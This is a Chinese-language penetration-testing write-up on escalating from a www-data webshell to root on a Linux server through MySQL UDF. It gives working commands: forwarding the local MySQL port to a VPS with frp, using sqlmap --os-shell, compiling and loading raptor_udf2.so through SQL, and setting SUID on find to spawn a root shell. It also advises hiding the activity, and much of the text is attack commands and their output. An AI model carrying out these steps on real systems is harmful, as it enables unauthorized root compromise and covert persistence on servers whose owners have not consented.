环境概述

最近碰到了一个可以利用MySQL UDF提权的Linux环境,目前已拿到目标www-data权限的webshell,最终目的是获取服务器root权限,这里UDF提权原理不做介绍。

具体环境:Debian GNU/Linux 8.11 + Apache/2.4.10 + PHP 5.6.36 + MySQL 5.5.60

端口开放情况:0.0.0.0:80、127.0.0.1:3306

MySQL服务使用root权限打开,相应配置目录:root ... /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306

通过网站配置文件源码,获取到MySQL root密码:xxxxxx

闲话

由于目标MySQL服务仅对本地开放,拿到webshell后,利用UDF提权的常规手法有:

1、上传大马webshell,利用大马中的UDF提权功能完成提权。

2、反弹shell,进而获取交互式tty shell,在shell中连接本地数据库,从而完成UDF提权。【具体操作见附录】

3、利用FuckMySQL,本地执行命令。FuckMySQL项目针对Windows平台。

4、利用SQLMAP中的-d参数连接远程数据库,自动上传so库完成UDF提权,从而获取os-shell。【具体操作见技巧一】

5、使用Navicat等数据库管理工具连接远程数据库,从而完成UDF提权。

以上方法主要思想都是想方设法登陆数据库服务来执行SQL语句,进而获取到启动MySQL服务的root权限,以此来提权。

高版本MySQL Version>5.7,将会面临有以下情况:① secure-file-priv默认不为空,即不允许在任意文件夹中导出文件;② 默认root用户使用的authentication-plugins为auth_socket,即在本地登录MySQL时使用unix套接字登录,而非密码;③ mysql.user下password列更改为authentication_string列。此类情况另作讨论,可参考:https://osandamalith.com/2018/02/11/mysql-udf-exploitation

技巧一:使用frp端口映射

由于MySQL在传输层走的是TCP协议,因此可以利用frp、nps这类工具进行端口映射,将目标的3306端口映射出来。

MySQLudf1

这里将目标的3306端口映射到VPS的33066端口上,类型为tcp,启动frpc:nohup ./frpc -c frpc.ini &

查看frp web发现上线,使用Navicat成功连接到VPS的33066端口服务。

MySQLudf2

这样就可以使用SQLMAP的-d命令来连接服务并执行UDF提权语句;

sqlmap -d mysql://root:[email protected]:33066/mysql --os-shell

MySQLudf3

可以看到已经获取到系统root权限。

技巧二:利用s权限提权

使用UDF提权后可以以root权限执行命令,但命令需要挂在SQL语句中来执行,不方便且会留下明显痕迹,我们可以利用其root权限来给系统常用命令赋予s权限,以便隐藏执行。

Linux环境下的文件权限问题很有意思:

  • s权限:文件属主和组设置SUID和GUID,文件在被设置了s权限后将以root身份执行。在设置s权限时文件属主、属组必须先设置相应的x权限,否则s权限并不能正真生效(chmod命令不进行必要的完整性检查,即使不设置x权限就设置s权限,chmod也不会报错,当我们ls -l时看到rwS,大写S说明s权限未生效)。Linux修改密码的passwd便是个设置了SUID的程序,普通用户无读写/etc/shadow文件的权限确可以修改自己的密码。通过chmod +s filename来设置s权限。
  • t权限:粘着位权限。一个文件可读写的用户并不一定想让他拥有删除此文件的权限,如果文件设置了t权限则只有文件属主和root用户有删除文件的权限,通过chmod +t filename 来设置t权限。
  • i权限:不可修改权限。例:chattr u+i filename 则filename文件就不可修改(包括删除文件),无论任何人,如果需要修改需要先删除i权限,用chattr -i filename就可以了。查看文件是否设置了i权限用lsattr filename。
  • a权限:只可追加权限。对于日志系统很好用,这个权限让目标文件只能追加,不能删除,而且不能通过编辑器追加。可以使用chattr +a filename设置追加权限。

Linux提权除了利用溢出漏洞,还应重点查看拥有s权限的可执行程序,如果这个程序有办法调出shell,即在程序内部可执行系统命令,则shell可以继承程序的s权限,获取到SUIG及GUID,以此提权到root。

有师傅总结了内部可执行shell的命令程序列表:GTFOBins

随便找一个,find命令拥有Shell、SUID、Sudo三个方法,可以利用此命令来提权。

MySQLudf4

仍利用SQLMAP举例,在cmd-shell中查看time位置,并赋予其s权限:

os-shell> which find
do you want to retrieve the command standard output? [Y/n/a] command standard output: '/usr/bin/find'
os-shell> chmod +s /usr/bin/find
do you want to retrieve the command standard output? [Y/n/a] command standard output: 'NULL'
os-shell> ls -la /usr/bin/find
[13:35:16] [INFO] resumed: [['-rwsr-sr-x 1 root root 233984 Nov  9  2014 /usr/bin/find']]...
command standard output: '-rwsr-sr-x 1 root root 233984 Nov  9  2014 /usr/bin/find'

在webshell下,执行find . -exec /bin/sh \; -quit

MySQLudf5

可以看到成功拿到root权限,euid指effective uid,即有效id,Linux内核主要是根据euid和egid来确定进程对资源的访问权限,普通进程无SUID或SGID位,则euid=uid、egid=gid。

附录

Linux下使用终端连接MySQL服务来利用UDF提权:https://www.exploit-db.com/exploits/1518

上传so文件,这里可以使用exploit-db这个raptor_udf2.c在kali下编译,也可以从sqlmap源文件中直接拿来使用。使用wget或curl下载至服务器/tmp目录。

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

在交互式shell中登陆MySQL,执行相应的SQL语句完成提权:

mysql -uroot -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
具体地址通过ps aux查看mysql进程--plugin-dir参数
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
mysql> select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');

补充

  • 在非交互式shell下,不能远程连接MySQL,同时禁止外部访问,这时候要么反弹shell后连接,要么使用mysql的-e参数:mysql -h ip -uroot -pxxxx -e 'select user();'